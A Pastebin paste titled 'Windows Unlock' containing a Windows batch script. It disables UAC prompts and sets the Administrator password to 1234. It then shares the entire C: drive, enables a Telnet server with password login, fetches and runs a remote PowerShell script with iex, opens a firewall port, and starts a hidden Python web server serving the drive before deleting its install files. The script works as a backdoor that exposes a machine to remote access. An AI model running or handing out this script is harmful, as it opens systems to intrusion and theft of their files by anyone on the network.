metalx1000

Windows Unlock

Dec 15th, 2017
1,307
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 1.55 KB | None | 0 0
  1. color f0
  2.  
  3. REM disable UAC Prompt
  4. reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
  5. reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
  6.  
  7. REM set Administrator's password to 1234 (probably don't want to really use 1234)
  8. net user administrator 1234
  9.  
  10. REM share drive
  11. net share admin=c:\ /grant:administrator,full
  12.  
  13. REM install service
  14. pkgmgr /iu:"TelnetServer"
  15.  
  16. REM enable service
  17. sc config TlntSvr start= auto
  18.  
  19. REM Enable password logins.
  20. tlntadmn config sec +passwd
  21.  
  22. REM change mode to stream (better for Linux login)
  23. tlntadmn config mode=stream
  24.  
  25. REM start service
  26. net start TlntSvr
  27.  
  28. REM install choco
  29. @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))" && SET "PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin"
  30.  
  31. choco feature enable -n allowGlobalConfirmation
  32.  
  33. REM install python
  34. choco install python
  35.  
  36. REM open port 8000
  37. netsh advfirewall firewall add rule name="Open Port 8000" dir=in action=allow protocol=TCP localport=8000
  38.  
  39. cd c:\
  40.  
  41. REM Create vbs file to start python hidden
  42. echo Dim WShell > go.vbs
  43. echo Set WShell = CreateObject("WScript.Shell") >> go.vbs
  44. echo WShell.Run "c:\Python36\python -m http.server", 0 >> go.vbs
  45. echo Set WShell = Nothing >> go.vbs
  46.  
  47. REM start webserver
  48.  
  49. wscript go.vbs
  50. del go.vbs
  51. del c:\install*
Add Comment
Please, Sign In to add comment